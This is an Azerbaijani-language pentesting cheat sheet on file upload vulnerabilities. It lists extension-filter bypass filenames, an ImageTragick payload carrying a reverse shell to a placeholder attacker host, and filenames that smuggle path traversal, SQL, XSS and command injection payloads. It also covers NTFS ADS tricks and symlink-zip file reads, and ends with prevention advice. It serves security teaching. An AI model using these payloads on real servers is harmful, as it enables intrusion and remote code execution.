File Upload

File Upload Zəifliyi nədir?

Fayl yükləmə boşluqları veb tətbiqi istifadəçilərə lazımi təhlükəsizlik yoxlamaları olmadan faylları yükləməyə icazə verdikdə baş verir. Təcavüzkarlar skriptlər və ya icra edilə bilən fayllar kimi zərərli ılır faylları serverə yükləməklə bu zəiflikdən istifadə edə bilərlər. Bu fayllar daha sonra çalışdırılır, bu da icazəsiz girişə, məlumatların pozulmasına və ya hətta Remote Code Execution-a səbəb ola bilər. Fayl yükləmə zəifliklərini müəyyən etmək və istismar etmək üçün təcavüzkarlar tez-tez fayl növlərini manipulyasiya edir, skriptləri yükləyir və ya fayl ölçüsü limitlərini aşırlar. Developrtlət üçün ciddi filtirləmə həyata keçirmək, düzgün fayl növü məhdudiyyətlərini tətbiq etmək və veb tətbiqlərində fayl yükləmə zəiflikləri riskini azaltmaq üçün təhlükəsiz faylların idarə edilməsi təcrübələrini artırmaq çox vacibdir. Daimi təhlükəsizlik qiymətləndirmələri və sınaqları bu cür zəiflikləri zərərli şəxslər tərəfindən istismar edilməzdən əvvəl aşkar etməyə və aradan qaldırmağa kömək edə bilər.

File Upload-ın ümumi metodologiyası

Digər yararlı uzantılar:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module

  • İşləyənlər PHPv8-də: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp

  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml

  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action

  • Coldfusion: .cfm, .cfml, .cfc, .dbm

  • Flash: .swf

  • Perl: .pl, .cgi

  • Erlang Yaws Web Server: .yaws

File extension yoxlamalarından yan keçmək üçün yollar

  • Bəzi böyük hərflərdən istifadə edərək əvvəlki uzantıları yoxlayın: pHp, .pHP5, .PhAr ...

  • Uzantıdan əvvəl etibarlı uzantı əlavə etməyi yoxlayın (əvvəlki uzantınıda istifadə edin):

    • file.png.php

    • file.png.Php5

  • Sonda xüsusi simvollar əlavə etməyə çalışın. Bütün ascii və Unicode simvollarını istifadə üçün Burp istifadə edə bilərsiniz. (Qeyd edək ki,yuxarıdakı uzantılardan da istifadə etməyə cəhd edə bilərsiniz)

    • file.php%20

    • file.php%0a

    • file.php%00

    • file.php%0d%0a

    • file.php/

    • file.php.\

    • file.

    • file.php....

    • file.pHp5....

  • Uzantını ikiqat artırmaq və ya uzantılar arasında lazımsız məlumatları (null bayt) əlavə etmək kimi üsullarla server tərəfinin uzantı filtering aldadan qorumalardan yan keçməyə çalışın. Daha yaxşı payload hazırlamaq üçün əvvəlki uzantılardan da istifadə edə bilərsiniz.

    • file.png.php

    • file.png.pHp5

    • file.php#.png

    • file.php%00.png

    • file.php\x00.png

    • file.php%0a.png

    • file.php%0d%0a.png

    • file.phpJunk123png

  • Digər növ uzantılar əlavə edərək yoxlayın:

    • file.png.jpg.php

    • file.php%00.png%00.jpg

  • Əsas lazım olan payload uzantısını güvənilən uzantıdan əvvəl qoymağa çalışın. (Burada Apache-nin yanlış konfiqurasiyalarından istifadə etmək olar, burada uzantısı ** .php olan, lakin .php** ilə bitməyən hər hansı bir şey kodu icra edəcək):

    • ex: file.php.png

  • Windows-da NTFS alternativ məlumat axınından (ADS) istifadəedin. Bu halda, qadağan edilmiş uzantıdan sonra və icazə veriləndən əvvəl iki nöqtə işarəsi ":" qoyulacaq. Nəticədə, serverdə qadağan edilmiş uzantı ilə boş bir fayl yaradılacaq (məsələn, “file.asax:.jpg”). “::$data” nümunəsi boş olmayan fayllar yaratmaq üçün də istifadə edilə bilər. Buna görə də, bu nümunədən sonra nöqtə simvolunun əlavə edilməsi əlavə məhdudiyyətləri (məsələn, “file.asp::$data”) bypass etmək üçün faydalı ola bilər.

  • Fayl adı qadağalarını pozmağa çalışın. Etibarlı uzantı kəsilir. Və zərərli PHP qalır.AAA<--SNIP-->AAA.php

    # Linux maximum 255 bytes
    /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
    Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
    # # Faylı yükləyin və cavabın neçə simvola icazə verdiyini yoxlayın. Tutaq ki, 236
    python -c 'print "A" * 232'
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    # Payloadı düzəldin
    AAA<--SNIP 232 A-->AAA.php.png

ImageTragic

Zəiflikdən istifadə etmək üçün bu məzmunu şəkilin uzantısı ilə birlikdə yükləyin.

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

Sehrli Başlıq Bitləri

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["

  • JPG: "\xff\xd8\xff"

File upload ilə digər zəifliklərdən də istifadə etmək

  • Bunu dayl adı edin ../../../tmp/lol.png və path traversal almağa cəhd edin

  • Bunu dayl adı edin sleep(10)-- -.jpg və ola bilər ki burada SQL tapdın

  • Bunu dayl adı edin <svg onload=alert(document.domain)> XSS zəfliyini istifadə et

  • Bunu dayl adı edin ; sleep 10; sonra isə bəzi command injection-lari yoxlayın

Windows ADS

Alternativ Məlumat axını (ADS) NTFS fayl sisteminin az tanınan xüsusiyyətidir. O, fayl ölçüsünü və ya funksionallığını dəyişmədən məlumatları mövcud fayla çevirmək qabiliyyətinə malikdir. Başqa sözlə, ADS faylı digərinin içərisində gizlətməyə imkan verir. Aşağıdakı nümunə file.txt daxilində calc.exe faylının kopyasını gizlədir:

C:> echo Somedata > file.txt
C:> type file.txt
Somedata
C:> type c:\windows\system32\calc.exe > file.txt:calc.exe

Gizli calc.exe copyasını işə salmaq üçün aşağıdakı əmri işlədə bilərsiniz:

C:> start c:\file.txt:calc.exe

Zip/Tar File Automatically decompressed Upload

Əgər server daxilində sıxışdırılacaq ZIP yükləyə bilsəniz, 2 şeyi edə bilərsiniz:

Digər fayllara soft bağlantılar olan bir keçid yükləyin, sonra dekompressiya edilmiş fayllara daxil olmaqla, əlaqəli fayllara daxil olacaqsınız:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

File Upload zəfliyinin qarşısını necə almaq olar?

Fayl yükləmələrinin qarşısını almaq üçün bir neçə yol tətbiq edə bilərsiniz. Birincisi, giriş məhdudiyyətlərindən istifadə edərək müştəri tərəfindən yüklənə bilən fayl növlərini təsdiqləyin (məsələn, yalnız xüsusi fayl uzantılarını qəbul edin). Əlavə olaraq, bunu etdikdən sonra sonra fayl növlərini və məzmununu iki dəfə yoxlamaq üçün server tərəfində də doğrulama tətbiq edin. Sisteminizi yükləyə biləcək böyük faylların qarşısını almaq üçün yükləmələr üçün ölçü məhdudiyyətləri təyin edin. Kod yeridilməsi və path traversal kimi ümumi zəifliklərin qarşısını almaq üçün təhlükəsiz kodlaşdırmadan istifadə edin. Potensial təhlükəsizlik boşluqlarını aradan qaldırmaq üçün server proqramınızı daimi olaraq yeniləyin və patch edin. Güclü bir firewall və ya IDS, IPS-dən istifadə əlavə müdafiə edə bilər. Nəhayət, istifadəçiləri fayl yükləmələri ilə bağlı potensial risklər haqqında məlumatlandırın və faylları paylaşarkən onları etibarlı mənbələrdən istifadə etməyə təşviq edin.

Last updated